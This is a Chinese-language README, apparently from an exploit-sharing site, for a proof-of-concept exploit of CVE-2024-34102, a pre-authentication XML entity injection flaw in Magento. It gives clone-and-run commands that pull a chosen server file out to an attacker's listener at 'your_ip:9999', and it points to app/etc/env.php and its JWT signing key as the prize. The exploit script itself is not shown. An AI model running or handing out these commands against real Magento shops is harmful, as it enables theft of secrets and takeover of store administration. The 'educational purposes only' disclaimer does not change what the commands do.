CVE-2024-34102 PoC 🚀

本仓库包含针对 Magento 中严重 XML 实体注入漏洞 (CVE-2024-34102) 的概念验证 (PoC) 漏洞利用程序。该漏洞允许外带敏感文件，进而可用于未授权访问 Magento 的管理功能。此漏洞利用程序仅用于教育目的，应负责任地使用。

概述 📖

Magento 是全球最流行的电子商务解决方案之一。2024 年 6 月，发现了一个严重的预认证 XML 实体注入问题，编号为 CVE-2024-34102。该漏洞可导致严重后果，包括外带 Magento 中的 app/etc/env.php 文件，该文件包含用于对 JWT 进行签名的加密密钥。

功能特点 🌟

• 从易受攻击的 Magento 实例外带敏感文件。
• 使用简单直接。
• 对 XML 实体注入的教育性演示。

使用方法 🚀

先决条件

• Python 3.x
• requests 库 (pip install requests)

运行漏洞利用程序

1. 克隆仓库：

   root@kitploit:~

   git clone https://github.com/yourusername/CVE-2024-34102-exploit.git
   cd CVE-2024-34102-exploit
   

2. 使用必要参数执行脚本：

   root@kitploit:~

   python cve_2024_34102_exploit.py --target-url http://example.com --target-file /etc/hosts --exfil-url your_ip:9999
   

命令行参数

• --target-url: 目标 Magento 实例的 URL。
• --target-file: 目标服务器上要外带的文件路径。
• --exfil-url: 用于接收外带数据的 URL。

示例 🌐

python cve_2024_34102_exploit.py --target-url http://example.com --target-file /etc/hosts --exfil-url your_ip:9999